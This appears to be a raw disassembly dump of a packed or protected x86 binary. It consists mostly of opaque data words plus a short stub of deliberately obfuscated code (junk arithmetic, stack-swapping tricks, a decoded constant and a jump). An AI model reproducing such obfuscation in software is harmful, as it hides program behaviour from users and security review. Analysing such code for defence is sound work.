		dd 46B0FBh, 56C8BB22h, 0BD7F6E22h, 0A4EDCF49h, 6DCA4BD9h
		dd 5BB929Eh, 0E5F75AA1h, 9444B6D3h, 25174849h, 0A355D62Eh
		dd 4C4F751Ch, 557E0DEAh, 0DFAFBD5Fh, 89A348DCh,	0C8A74DDCh
		dd 311BA44h, 0FF9BA776h, 4Bh, 8A373EDFh, 84C75D34h, 0B7B8F883h
		dd 3D80A106h, 0CF7C0700h, 59AFBE54h, 0C992F5F6h, 0A74EE4C7h
		dd 0B0444593h, 5E338B8Dh, 2F9387CAh, 4EE4828Ah,	21704EA7h
		dd 23667303h, 4C9AD605h, 63ABE16Eh, 0A881F668h,	0CAF29Bh
		dd 22AC0000h, 0AA32D6BBh, 1E8A7D14h, 0B139CFBAh, 5CBE830Eh
		dd 0C4CDF078h, 1917E443h, 0E1A106B8h, 10587CDEh, 0AC9BE4ADh
		dd 4CAEE3FCh, 6BF387Fh,	8CF7C6A1h, 33871D06h, 2AD2FD56h
		dd 93CC3F02h, 3C5BB667h, 1F6A4F0Dh, 0C02FF862h,	8B7C945Fh
		dd 0F944A107h, 0A5ECD11Dh, 0A41C137Fh, 26B3D8A3h, 123DAFBFh
		dd 9C64EB51h, 0C4F8E0ABh, 38C0B602h, 0D0DBE9A0h, 0CCEE9A8Dh
		dd 0EC9C59BDh, 7484BFD2h, 8266276Ah, 89FC53ADh,	98578E3h
		dd 0C01B0000h, 358A96C9h, 0C715235Ch, 318799CAh, 0C5192758h
		dd 0C9F393CCh, 681B7648h, 0BC8702D8h, 33EC9D3Ch, 0C67918A5h
		dd 0E52BB83Bh, 0AD9AB8DAh, 0BC22DE80h, 2F8E8AD5h, 0A637E962h
		dd 80260FEBh, 0E1C1373Eh, 2730DD64h, 0A56ED9A4h, 0AFBD8A26h
		dd 0D2778DB0h, 0A74E19BAh, 408B93F9h, 9BA7B6DEh, 0E1DAh
		dd 0F4CB3D00h, 0D949C67h, 0F15CA74Eh, 0A195982Ch, 0D6BB229Bh
		dd 7D14AA32h, 56822E67h, 0D9FB925h, 0D507A84h, 7942B4F7h
		dd 0A106013Eh, 0DFA0F1CCh, 0DD077C61h, 7C20F98Ah, 39AE99E4h
		dd 0BB8CDE52h, 0FDDD39C4h, 36348289h, 0FB196EC1h, 0B450F065h
		dd 36705E5Bh, 0F87300EBh, 82AFBE0Dh, 0CC03043Fh, 8B11A1D5h
		dd 5F56108h, 0A635B60Eh, 0B601AAC3h, 6831F849h,	0A7F0A86Dh
		dd 4F527613h, 2CDC4F12h, 0C344FF92h, 0E0048555h, 516D79DDh
		dd 0E52F810Ah, 0D4F7AD98h, 0E4888853h, 0ED50AD98h, 2D3BF930h
		dd 0A83CFC55h, 87A45h, 0DEAB1000h, 454C93A5h, 0B3DEFEFAh
		dd 41487070h, 0B5DC02FEh, 2FE0DC6Ah, 0BF41028Fh, 23B56E1Bh
		dd 0B030F396h, 3EBB840Dh, 0D9E22EBDh, 85AA9AB8h, 0D5BC22D9h
		dd 622F8E8Ah, 0BB228521h, 0C2DA55D6h, 0C0EAFEBBh, 0D3CBE5AEh
		dd 2893A105h, 39C101F5h, 0B532EDA4h, 0E30A7943h, 0DF6DF64h
		dd 43B7A3DEh, 8110AFCCh, 0B7C04BBCh, 54AFBE64h,	9E7819A4h
		dd 2E1EBE4Eh, 0FE43FE8Bh, 563BA2EAh, 0DFB20B0Dh, 7F60D049h
		dd 0F09B2812h, 0A5350409h, 0FA36C562h, 0C62E9487h, 2E7197F2h
		dd 0DEAB99AAh, 0C4F75C23h, 99659D79h, 0CF9001DCh, 0FF256C51h
		dd 947E515Ah, 59A51D2Eh, 318BC11Ch, 0C479C460h,	31607D7Bh
		dd 1F724AB6h, 7E515F2Ch, 0B6192E94h, 0CCDB8044h, 0A12E947Dh
		dd 7DCCB92Eh, 0BD871302h, 256FC14Ah, 14372E94h,	483CCA22h
		dd 7E8A07D8h, 0C617C733h, 358898CBh, 0D55CC85Ch, 3A71FAEDh
		dd 0C43D4BC4h, 0DF56C679h, 0DC9764E7h, 0A643943Eh, 6C9A9665h
		dd 489D3B24h, 1517E8Eh,	0F527D7Bh, 843754F9h, 14783B24h
		dd 0AE0E7A0Ah, 83D2DEADh, 379A3B24h, 283610EAh,	242F7E1Dh
		dd 48Bh, 17272CA3h, 12887D5Fh, 0FF42E6ABh, 56ED842h, 0A106B7ABh
		dd 6A8525Ah, 0CBD301A1h, 0EA42A106h, 0D2A106CBh, 1F806B5Bh
		dd 0A3414871h, 3615BE98h, 0AFBECBh, 39B08CBDh, 21C3029Fh
		dd 6FEBEh, 42479400h, 0B1E0FF01h, 474A726Eh, 0ADDCFCFCh
		dd 39586672h, 0B3546806h, 1B1D662Bh, 8799CABFh,	0C0C5732h
		dd 0A29FE0B1h, 0D93E5221h, 99069AB8h, 0D6BB22C5h, 324FC632h
		dd 0B35FF487h, 4CDD8497h, 10DB4C11h, 0AFB3E991h, 0D433B417h
		dd 53970907h, 8C6ED1A7h, 4E3674A3h, 7F0CFFC7h, 0B60B3098h
		dd 4BEC5F62h, 9BBE70C0h, 211538ADh, 4ABBB643h, 0AAA1633Ch
		dd 9E3FF15Ah, 49E607F3h, 78376C0Eh, 0EE878A2h, 0B4EDCEC5h
		dd 0CFF5586Bh, 266AF996h, 0EE63451Ch, 8C8377E3h, 5F7ACAEFh
		dd 0CE939E2Ah, 0C12AF73Ah, 0FCA45232h, 5E7B2D71h, 0A8929D2Bh
		dd 0A91E0934h, 0D87E3348h, 0E708F252h, 32EDA439h, 0D37A17A6h
		dd 4060D1F5h, 30036EFEh, 0C6000006h, 4DCB94F5h,	0D4641F72h
		dd 4AD68908h, 0D8681B6Eh, 0B6D88B06h, 58398582h, 0C8C11927h
		dd 59308997h, 0CEC31A26h, 58238495h, 9AB8D858h,	3163FB20h
		dd 95335E7Fh, 0D55CB08Ah, 308EFAEDh, 97F8F561h,	0F883D0E9h
		dd 0A106B7B8h, 0E4003D80h, 83547DD9h, 0DAFBEB8h, 7D626C2h
		dd 0D2157E8Ah, 0EBF99826h, 707E76E0h, 71DA2A21h, 6B7D5A2h
		dd 235C5FB6h, 96B7B4F8h, 0B84D63ADh, 3E35AD96h,	0D3BE2090h
		dd 96B7E42Ch, 5793ACADh, 0DE2D8B38h, 44C77AC7h,	0BB066CE3h
		dd 0F814CEBEh, 0BFECB51Eh, 0A72BC44h, 4A3F9AB2h, 73AE73BEh
		dd 444C1778h, 0CB3E46Eh, 0ED30617Ch, 6E1F71FAh,	0E4E7B3E4h
		dd 0A8ED5272h, 55B3E46Dh, 0B3E46E38h, 0F380DB02h, 0B3E46D9Dh
		dd 0C7CA1565h, 1E631E21h, 9A4A36Fh, 0A914D8F6h,	54Bh, 0D48FFAE1h
		dd 4D167B44h, 0DFA0F1CBh, 51127761h, 0E1A2EFCFh, 409E6BCDh
		dd 0A8120E51h, 37A29EE1h, 0AE0F1152h, 1EA1A0E3h, 0B8D73B55h
		dd 0C896039Ah, 5CCF373Eh, 0B4E5128Fh, 8F3598AFh, 681B7647h
		dd 0AE7A7EF4h, 7E9612D5h, 94FDE058h, 12AB3BC9h,	0A934C47Fh
		dd 2B91FFE8h, 88D0F466h, 74EB5C35h, 0FED12B15h,	0E0E45632h
		dd 0A1474298h, 0F70D8459h, 6C09156Dh, 0A2AD3B4Eh, 17DF5BDFh
		dd 0F2CD7F5Eh, 560B7E5Ah, 401E580Bh, 3C9BAD8Eh,	17Fh, 0CF373EF2h
		dd 704DBB5Ch, 535D2621h, 1BA106B8h, 4E7D46B0h, 0D8AFBE56h
		dd 0A0EA4F75h, 6EA74EE5h, 4E3B9F11h, 48D32BAh, 0D925DD39h
		dd 0B0E1FDABh, 47BFB646h, 841437C4h, 339EB606h,	7FCDF0F0h
		dd 0D6F22F5Ah, 57243786h, 0AD971459h, 8D04D921h, 34E93477h
		dd 7C3FCEBh, 0A0D63B50h, 0C289E8F0h, 1B816371h,	71E509A1h
		dd 0CEE330Ch, 969171F8h, 4F2EE6CDh, 0B74D70BCh,	0DFACFA12h
		dd 4BD339B3h, 39459E80h, 0AB598EA8h, 0A0F07B49h, 68B3DECFh
		dd 5D370A65h, 2FAC5DB9h, 82000000h, 5CCF373Eh, 9A7C0DACh
		dd 6B4EBA5Dh, 35C70A1Eh, 4871E5A4h, 0AFBE54E3h,	19C6626Dh
		dd 0A74EE513h, 9F2CBA52h, 9BA881BDh, 0ADB9h, 0BB227500h
		dd 1AA355D6h, 0EB405177h, 985053C2h, 6D4BCD90h,	51C5081Ch
		dd 0BCD5E971h, 4FFDE028h, 8900D96Bh, 30ED307Bh,	18794494h
		dd 2D7BBC67h, 0B409A106h, 1FBE6ADDh, 0BD9F8872h, 0EDD4EB6h
		dd 0AFB948D5h, 6B124E5Fh, 96B83C4Eh, 0EB060CBh,	9E40C083h
		dd 9BA03AF3h, 41E3029Ch, 3929Eh, 0F6932800h, 7D14AB2Dh
		dd 0EBA636C2h, 7910A838h, 0EDA43AC6h, 0E7281432h, 7789BAD7h
		dd 0DB5D2663h, 48D88BFEh, 0D6631C75h, 0D58A8655h, 0CD529AB8h
		dd 0D5BC2271h, 542F8E8Ah, 0DB237B33h, 25B345BDh, 912E1964h
		dd 61CAE02h, 0EF4B76A1h, 0BB222046h, 13AA32D6h,	599C57Eh
		dd 0A10637A7h, 44714D82h, 9FD65575h, 0DEFE0EBBh, 6FE6A106h
		dd 0DAE49497h, 0DE9EF281h, 5B66A106h, 28B33426h, 0AFB50C79h
		dd 82AAAEFFh, 6D9D23F6h, 0F3C937B0h, 0BE460690h, 77AA8DA0h
		dd 0E8EC4E51h, 0DA4DB5BCh, 0D035A11h, 0B0D9E4B6h, 0FC50F1F4h
		dd 0E482ED7Fh, 7A000002h, 0E9F72861h, 7888BBD6h, 0E6F22D64h
		dd 6C6CB7D2h, 62043F52h, 6C25B956h, 0F49525B3h,	7D0CAD2Bh
		dd 0EAA736C2h, 0BC47A839h, 9AB8D474h, 224FEF3Ch, 0B932D6BBh
		dd 3D197847h, 0BA850CB1h, 0D03A124Dh, 0ECE0A2B6h, 3D2070FBh
		dd 0E5E8A106h, 48A8171h, 63D3977h, 83BE01A1h, 0DFD8FB88h
		dd 5F62AFBDh, 5E0824C9h, 0C547A74Eh, 0F6849239h, 20809BA7h
		dd 5E000000h, 5CCF373Eh, 0BE541C8Fh, 8D9BA6AFh,	4EE3CCE0h
		dd 75810BA7h, 0A880C856h, 0CAC49Bh, 229A0000h, 0BDD3A0BBh
		dd 85A106B7h, 99E1073Ah, 30B84C45h, 0EB45CE8Dh,	0B3A106B7h
		dd 0DD52D588h, 0C8BE2B08h, 0B4180243h, 69EA9924h, 0E6331D70h
		dd 78A3DCA1h, 0A106B43Fh, 1902CDCh, 9DF4C915h, 0ADDCFEAAh
		dd 0FD221417h, 19AFE2FBh, 0AD9E66EDh, 0BEB22DDEh, 0CB94B7AFh
		dd 0FFDDE269h, 8F5CCF92h, 0B601C452h, 157275D8h, 61A7E972h
		dd 4C6FAD99h, 7BE0FEEAh, 0FA67CA44h, 4976645Ch,	0AD993147h
		dd 0AE71AC0Fh, 44058C32h, 0FC54E1AAh, 0C0B417CDh, 56000001h
		dd 0BD3B0485h, 24B46F22h, 0BA46F998h, 28B86B1Eh, 2648FB96h
		dd 0A8E9F512h, 38516977h, 0A9E0F907h, 3E536A76h, 0E873F405h
		dd 9AB8D3A8h, 22132B70h, 8E8AD5BCh, 8521622Fh, 5CCF373Eh
		dd 9A7C0DACh, 541D8E5Dh, 0A4A7AFBEh, 0E3D1DB80h, 7C10A74Eh
		dd 80FB5972h, 3DEB9BA8h, 0F506F0A1h, 0D3h, 0D6BB22A9h
		dd 7D14AA32h, 0BEB50267h, 7A43A106h, 0BCFE12E1h, 36C6A106h
		dd 0E835E8A9h, 4714A937h, 6BC74BCh, 4C113CA1h, 0FDC54CB8h
		dd 0DEFBAD0Ah, 28121DABh, 0BEBCF09Bh, 0C21B8DAFh, 0F776BCFh
		dd 0AC9FE2AFh, 14B0E1FCh, 14082D09h, 17A601Dh, 189A0224h
		dd 35C77ACCh, 0B19AE7AAh, 1E7FEE2h, 0A736C6B6h,	8ED3DEEAh
		dd 2C8EFA9Dh, 5784C75Dh, 0AD997659h, 7669A734h,	0E31AD99h
		dd 9253C70Ah, 4EB9D8E6h, 7593F6E2h, 0D967D02Ah,	5DDD8C05h
		dd 5EFC549Ch, 0C523CEh,	805B0000h, 0F5CA5609h, 8755E39Ch
		dd 0F1C7590Ah, 8559E798h, 933530Ch, 0A8DBB608h,	0FC474298h
		dd 73ACDDFCh, 6395865h,	0A5EB78FBh, 6D9AB8D2h, 0BC221E40h
		dd 2F8E8AD5h, 22852162h, 0AA32D6BBh, 4FC57E13h,	771AA3D8h
		dd 0EBB241AAh, 71AFB4E4h, 8B32BA4Eh, 22BB3D06h,	13147461h
		dd 186CC7CAh, 81A7DA75h, 145545DCh, 7EB93613h, 69008BC4h
		dd 0FBF76378h, 365B82F3h, 89D2EBEDh, 93F7B6FAh,	0E537E0Ch
		dd 0A91E81FAh, 1D9A0364h, 48487717h, 100C94A6h,	3B9D49ADh
		dd 8E2BDD4Eh, 78E2EDFBh, 0CD026554h, 5265D261h,	4CA89241h
		dd 9665C2C2h, 0C949F9Ah, 0EBFB5F62h, 7484BFD2h,	319C2869h
		dd 3, 226DB90Dh, 0A434D0B9h, 1C6C7819h,	0B038CCBDh, 21697F0Ah
		dd 0A830D4BDh, 1D6D7B16h, 0B23ACEBBh, 1961870Ah, 0D93DCBC6h
		dd 5E08950h, 4,	3304E883h, 4312404h, 24043324h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	47C62C23h
		mov	eax, [esp]
		add	esp, 4
		not	eax
		sub	eax, 0B1EBF826h
		mov	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 25703FFFh
		pop	dword ptr [esi+8]
		sub	dword ptr [esi+8], 25703FFFh
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5514A4
; ---------------------------------------------------------------------------
		db 0C2h
		dd 0C9EAD3E1h, 8837F381h, 11540D27h, 4DE6B1B8h,	0FFC50306h
		dd 76D5ABE0h, 50EBB105h, 143EF7Fh, 0A47E120h, 0E68AB67Dh
		dd 2F48D335h, 0ABA37115h, 92D23E7Fh, 0CA625145h, 0DEE36F7Dh
		dd 57F6D06Ah, 1802AB54h, 5B520820h, 7F590835h, 900E5F6Fh
		dd 90B0464Fh, 0CDAFE465h, 7AADC878h, 1454C551h,	0EFE9614h
		dd 6258630Bh, 88880A56h, 12E85Eh, 23B50000h, 0A179989Ah
		dd 43B27637h, 21409D3Ah, 3E517F2Eh, 13E960h, 11930000h
		dd 3D8EC241h, 3CA99A7h,	14B261F5h, 385E1235h, 6129B297h
		dd 7EC6815Eh, 0BA00006Ch, 0
		dd 6616048Bh, 0F081C88Bh, 26E2E36h, 98F081F5h, 60767483h
		dd 5E9h, 94BF1C00h, 8161A9B2h, 0B76465C0h, 0FABF0F2Eh
		dd 0D98B6650h, 0E916048Fh, 0Ch,	0B9E1A83Ch, 65C31480h
		dd 0AABFB25Ah, 78F0Fh, 8B600000h, 1ADE80C1h, 4EA8361h
		dd 0E64EAEBFh, 44FA8101h, 0FFFFF94h, 1985h, 26E900h, 4DFE0000h
		dd 5E1664BEh, 47397114h, 3DF268B8h, 50FFD0A3h, 0BF0FB5A8h
		dd 0FF7EE9D8h, 3208FFFFh, 0DCCEEB47h, 0DD1C1EA7h, 7D0079EBh
		dd 218CEF9Eh, 0AFD60FE2h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h
		dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h,	0BD897D60h
		dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h
		dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h
		dd 0DB4D5200h, 0D65EF357h, 0B79BB7h, 95ABAFF6h,	0F0009F89h
		dd 0D7C77156h, 1800BEB3h, 0C4D75671h, 7873E2ADh, 0E97924B2h
		dd 0FEDh, 4DEAD668h, 9445E906h,	0DC68FFFAh, 0E9064DEBh
		dd 0FFFA943Bh, 4DECD968h, 9431E906h, 5A68FFFAh,	0E9064DEEh
		dd 0FFFA9427h, 4DEF0068h, 941DE906h, 0BD68FFFAh, 0E9064DEFh
		dd 0FFFA9413h, 4DF07B68h, 9409E906h, 1868FFFAh,	0E9064DF1h
		dd 0FFFA93FFh, 4DF1E168h, 93F5E906h, 0CF68FFFAh, 0E9064DF2h
		dd 0FFFA93EBh, 4DF42A68h, 93E1E906h, 8768FFFAh,	0E9064DF6h
		dd 0FFFA93D7h, 4DF77768h, 93CDE906h, 0E2F2FFFAh, 0E0FD9E96h
		dd 0E5FB9C94h, 0E8FE9F99h, 0ECE3B49Ch, 21A9B8A0h, 0BD77C39Ch
		dd 0BF79C59Ch, 0D781CD9Eh, 0D088D486h, 0DACCA0CCh, 5A56149Ch
		dd 5586377Bh, 72E32F7Bh, 49954A60h, 66022BFEh, 100C5A75h
		dd 9B350E38h, 0FD42CC35h, 143C885Ah, 2C401B1Dh,	4FC76B3Ah
		dd 0F0EC17FAh, 0A1DEEA0h, 8458041Dh, 0E5317D53h, 8EDB3E8Dh
		dd 96917049h, 0F1C84FEh, 10F3E356h, 56A2B7A0h, 0BC9A74CDh
		dd 5B397B27h, 2F5Ch, 5586F200h,	4CE32F7Bh, 6468D4ECh, 498E9E8Fh
		dd 6B0942DDh, 560EDEF7h, 13834270h, 69E22E22h, 3F8B5F00h
		dd 415E61F3h, 0D7255B39h, 0B9000000h, 317D5586h, 166278E5h
		dd 95466F0Dh, 0F2BFE49h, 0D24D994Eh, 0E661ADA5h, 0DB55A1B9h
		dd 0C6B214CFh, 1F6B7F4Fh, 98506935h, 0A46ED34Ch, 0D8539FB3h
		dd 0BBA9BF81h, 8E9E1CAFh, 362B0C49h, 2B3E61EAh,	36EC46DFh
		dd 934C6DDBh, 61551947h, 0D3560EDEh, 76EE22Ch, 18411F35h
		dd 0D039F23Eh, 44521E46h, 324FD42Eh, 46014D09h,	37F03C19h
		dd 49DF3BD2h, 3D667AE6h, 994A7A14h, 27FBB24Dh, 293E1FFBh
		dd 2D2273DDh, 0C61E51E1h, 8ED9CCBFh, 0D62AFh, 6DB9AB00h
		dd 6FBB92C3h, 70BC94C5h, 73BF97C8h, 73BF98C9h, 0EF745AC9h
		dd 0D384ACF8h, 0D98AB2FEh, 0DD7EB602h, 1B7FB905h, 9D8BFBCFh
		dd 4AA95614h, 1A668108h, 1D698122h, 9D4E6733h, 0B2A9D651h
		dd 9D84DD66h, 0E95BAB91h, 0B34C420Eh, 77E04FC6h, 360B1460h
		dd 460A36CFh, 498E9EEDh, 3C886079h, 81CF30F2h, 0C6297FE0h
		dd 2D470029h, 560F4035h, 0D1320E32h, 5109300Bh,	93035145h
		dd 0A1560EC0h, 679EB47Eh, 3922EEF1h, 0B2955Bh, 81290000h
		dd 0D2631B69h, 5A0A5A61h, 0A9A2EEE9h, 0C1DE69C0h, 0C5B995A6h
		dd 9C4FC6FBh, 54AD76C2h, 42B151AEh, 0CA9ACAAFh,	0F381CA63h
		dd 4FC769B8h, 41FB471Bh, 62FE4A20h, 25166279h, 0EC51DD29h
		dd 24706750h, 45EC461Bh, 6B7FDDF3h, 498F5558h, 7AC17B96h
		dd 0BA96B2CAh, 4FD4B3DBh, 0A992AE51h, 0AEFA62AEh, 58115A55h
		dd 3BD7FCD7h, 19F9451Ah, 0CCBFBB28h, 5CF95C07h,	0A500000Ch
		dd 0A8F963AFh, 0A6F761ADh, 0ADEE66B2h, 0AAEB65B1h, 70EF69B5h
		dd 9EEAE56Ah, 0A0ECE5B6h, 0A8F4E7B8h, 0AFFBEFB0h, 1CD1185h
		dd 56149E8Dh, 81FA449Fh, 81221A66h, 49331D69h, 221D6981h
		dd 27115D75h, 0D166276h, 4995466Fh, 1DF94516h, 76DE2A40h
		dd 0F6078EF3h, 5A766678h, 79C05ADCh, 8F56AFC7h,	1BC0354h
		dd 17F087F0h, 18F1E5F1h, 0A31CD32Ch, 0E734B11Ah, 0C59CA7F3h
		dd 0C68AD25Ch, 498EB479h, 679564CBh, 0C5519D4Eh, 94BDB6ADh
		dd 0D5B587BEh, 0E854ADF9h, 2AF0497h, 0E81A831Ch, 24B1E65Ah
		dd 0A6BE58B1h, 0D4CAA6BAh, 584188E1h, 52155DB9h, 843B50C2h
		dd 6DCFA29Dh, 9C85D18Dh, 41D4ACC0h, 0D3844117h,	0E068ADFBh
		dd 8DCA8D66h, 0D754AB74h, 5636D51Eh, 0A36CF36h,	461F3531h
		dd 31D831FAh, 0DF82E1D6h, 0D862B062h, 6BB7AB8Ch, 6EBAB0F1h
		dd 7C4FBDA0h, 4EAF783Dh, 0B5Fh,	0F068B4A8h, 0F26AB6AFh
		dd 0F16BB7B1h, 0F26AB6B0h, 0F26AB6B1h, 0F1E66B73h, 0F7EAABA5h
		dd 0FBF0B1ABh, 0FED485AFh, 0CA168AB2h, 149F9006h, 0FD41A456h
		dd 221D6981h, 69D7ED4Fh, 8EA94E65h, 0E501DA49h,	5FBB8E99h
		dd 0B2EE66C9h, 0A7BBD189h, 0D168B25Bh, 0CFEB596Fh, 8DA9F5E6h
		dd 0D6B506E5h, 9249724Fh, 855AFD46h, 0F21BEE39h, 241F0228h
		dd 16886478h, 164FC6E3h, 5F531FFBh, 84FC6E3h, 6A75EB2Ah
		dd 1954F145h, 61h, 0ADC0B2CBh, 6C97E3F6h, 8D615C26h, 4FC7AA19h
		dd 10DF41Bh, 965A863Bh,	4FC6B320h, 984AED14h, 0A46ED34Ch
		dd 0A795AB8Dh, 8EFA53A3h, 0E27EA149h, 6436A5FEh, 0DB2CDD34h
		dd 0DCBC9BBEh, 0E945DCAFh, 8561776Ch, 4C68D039h, 560F5658h
		dd 4F09550Dh, 16115D0Eh, 45914D6Eh, 80B27FAh, 0A77h, 9E95BC6h
		dd 0D622384Eh, 666AD62Fh, 498B5A28h, 0AE87B55Ch, 97C870BCh
		dd 90AC77C3h, 0F062B0A7h, 0D927EEC1h, 0FD34FE27h, 37835B3Bh
		dd 50EC15ECh, 1D267267h, 5E72EA44h, 4FD8D473h, 0D9025EC1h
		dd 6ADCF001h, 0CA4FC745h, 0C299BC67h, 9EC29E97h, 0D68CCD87h
		dd 43B5A9C5h, 98774FC7h, 0E163B671h, 4374EA06h,	8FB84FC7h
		dd 8E778EDAh, 0C0D189B2h, 0C743BAACh, 6E977A4Fh, 9AC24CB5h
		dd 8F3091D6h, 0BC92C349h, 0F9BBFB6Eh, 39D011D0h, 0ACED42D0h
		dd 0A3CCCAF5h, 9DEB2h, 0E9352700h, 0EB372E6Fh, 0EC383071h
		dd 0EF3B1344h, 0EF3B1445h, 6BF0D645h, 6F302874h, 55062E7Ah
		dd 590A327Eh, 97FB3581h, 0A1077753h, 0CE255614h, 0B31C9684h
		dd 1D1F4FC6h, 48F34A05h, 15EC60ECh, 4CC62327h, 0C374498Ch
		dd 0A087C00Ch, 7C732C9h, 71E0788h, 95598559h, 56147E21h
		dd 3522EC13h, 89F9CF1Dh, 7C261834h, 2B065614h, 0BC76BC00h
		dd 7E3F765h, 56148F97h,	69B5B095h, 0C1E276C0h, 0E2D498A9h
		dd 5256148Fh, 84CD56AFh, 0ACC09CB4h, 4FDC8617h,	2D7970D5h
		dd 18F60FF2h, 0CCB82AC9h, 38D243ECh, 81000009h,	64351F6Bh
		dd 62331D69h, 693A226Eh, 6637216Dh, 2C2B2571h, 0FA4621A6h
		dd 0FC482142h, 4500354h, 0B570B4Ch, 4D214D51h, 5614A259h
		dd 86B6F8DBh, 0F6317D55h, 84560713h, 9A50EF38h,	2947D54Eh
		dd 116F74EAh, 2F1454F1h, 0AA000004h, 6E4D1D86h,	97D2C488h
		dd 0BF624FC7h, 3061FA64h, 0CD34EF3Bh, 0E557DA34h, 0F01071CFh
		dd 5EC6EEEFh, 0DCF06CC6h, 498C4EC9h, 0DB273E27h, 2D251632h
		dd 342677E1h, 0CF574723h, 70D55613h, 2DD42D79h,	0FF394AF2h
		dd 0C0E7FD67h, 2B1F4BE7h, 3B561445h, 2CF7431Ah,	1F6B62D5h
		dd 41C1C13h, 3B7F9458h,	52AD4FDCh, 0B8647BC4h, 8ED36CCh
		dd 87Bh, 8CC410C4h, 8EC612CBh, 8DC713CDh, 8EC612CCh, 8EC612CDh
		dd 0DC2478Fh, 13C697C1h, 17CC8DC7h, 1AD091CBh, 2E7266CEh
		dd 14A22C22h, 0D9E50056h, 0D91B6981h, 2A1BD748h, 0B39F21Bh
		dd 60EB372Ah, 3A302D09h
		dd 4E0235EEh, 41164902h, 15EC382Bh, 0CD085E0Ah,	55B0E622h
		dd 0F13AC4DFh, 35CBF54h, 96570000h, 4FC6B31Ch, 59071D1Fh
		dd 307C5485h, 5A6D8EE6h, 0C099498Bh, 4DD35FABh,	0ADA596B2h
		dd 0AB74C097h, 0F763AF56h, 0E5F60CDEh, 0AF9FAB99h, 7D56149Bh
		dd 90D18BA2h, 0BF0BC4DAh, 0D8849D84h, 0A59EEAFFh, 84CD72BCh
		dd 0ACC09CB4h, 4FDC9217h, 99DC3AD5h, 14CCB81Eh,	7BDEA4Bh
		dd 56060000h, 5411520Ah, 590F5008h, 5C72230Dh, 60772810h
		dd 953D1C14h, 510B5710h, 230D5910h, 1B156172h, 341C687Ah
		dd 0FE707CA0h, 2E5614A2h, 69818B97h, 5D75221Dh,	0E80E1611h
		dd 122CB72Dh, 0BB5754F1h, 0EF000002h, 0C6B31C96h, 71D1F4Fh
		dd 5A3F9559h, 56A7498Bh, 0A70B130Dh, 958BA738h,	0CDA599B5h
		dd 0DE875613h, 0C168C10Dh, 0C3B3B7A3h, 715613CDh, 0FFD8848Eh
		dd 60C19FEBh, 1FD6D1D8h, 3B131F55h, 43FC481Ah, 0A364EEEh
		dd 0DCAB0546h, 3AD8374Fh, 0CCB80DCDh, 209283ACh, 69000007h
		dd 6C2D2773h, 6A2B2571h, 71322A76h, 6E2F2975h, 14032D79h
		dd 0E22E29AEh, 0E430297Ah, 0EC382B6Ch, 0F33F1344h, 45095549h
		dd 5614A451h, 86BE00E3h, 9B9E9D1Dh, 4BE76EE7h, 6B0A580Ah
		dd 0D355698Dh, 0A1EDE255h, 0CAA0BF88h, 0F2FEE27Eh, 4FC7327Ch
		dd 80C551B0h, 57A59B1h,	557014Dh, 54F1947Ah, 584E223Eh
		dd 0DC4FC726h, 134CD935h, 0E2000000h, 677D5586h, 441D2672h
		dd 33FF62DDh, 1E1E0h, 22969E00h, 4C4FC6B3h, 1F28746Bh
		dd 61F76348h, 41E8D9E8h, 0EA0242F5h, 0D325727Eh, 0B857498Bh
		dd 6BB7AB8Ch, 6EBAB0F1h, 0C4DC5CB5h, 3E97D498h,	0A5C54FDCh
		dd 0CC42D5C9h, 51B8574Fh, 0B8625EC1h, 0EF4E19CCh, 657h
		dd 0D880CCA0h, 0DA82CE87h, 0D983CF89h, 0DA82CE88h, 0DA82CE89h
		dd 0E9FE834Bh, 0EFE2B39Dh, 0F3E8B9A3h, 0F6ECADA7h, 22EB2AAh
		dd 14A478EEh, 1519BC56h, 221D6981h, 33115D75h, 0C858CACAh
		dd 102A472Ah, 24E0837h,	0F5411649h, 3402D52Ah, 0CEB1CE00h
		dd 7A25E016h, 0B80439Bh, 15510B57h, 1CFD1EECh, 39D5D0D5h
		dd 0F197881Bh, 14FB54h,	3F930000h, 126h, 112C8F1h, 0C6B379EDh
		dd 0AD54BB4Fh, 2396DB61h, 204FC6B3h, 905C0820h,	498B5A4Eh
		dd 5CC5A37Eh, 6E64C62Eh, 928B0922h, 0D15AA6C1h,	0DD859178h
		dd 0A29AE6FCh, 0A29DE901h, 0B804E1FAh, 8969DB5Eh, 56A2B6CCh
		dd 99EA56AFh, 0BFEF1DF1h, 80F6FAD6h, 0B456142Fh, 25AB44Dh
		dd 38A8C5DEh, 82214CA6h, 919D84D0h, 0DBDE1AD9h,	0EDE3544Fh
		dd 69AA88A1h, 28CCB8C2h, 5691EFFh, 0A2B20000h, 0A0BDDE56h
		dd 0A5BBDC54h, 0A8BEDF59h, 0ACA3F45Ch, 6169F860h, 7DB703DCh
		dd 7FB905DCh, 97C10DDEh, 90C814C6h, 9A0CE00Ch, 9A5614A5h
		dd 6981F73Bh, 0D2E7A53h, 0E8410A56h, 81590641h,	392E0735h
		dd 43CF32EDh, 0FCD72FFAh, 0AEC2D387h, 4FC6B3B8h, 0C268B4B1h
		dd 0CC8EC65Fh, 54F115B7h, 16CCh, 433F6200h, 0F1000000h
		dd 0B38D01CDh, 809F4FC6h, 71BA06DFh, 81C87E98h,	1B3F1D69h
		dd 0C6B35F4Fh, 0E832CD4Fh, 0DE2A405Fh, 56AD0365h, 80F6FAE6h
		dd 0B44FC6B3h, 0BE94C14Dh, 0E6EAD672h, 4FC6B370h, 7DD15DC4h
		dd 1B9Ah, 69813800h, 118A221Dh,	0FE4FC6B3h, 6DE1B1D2h
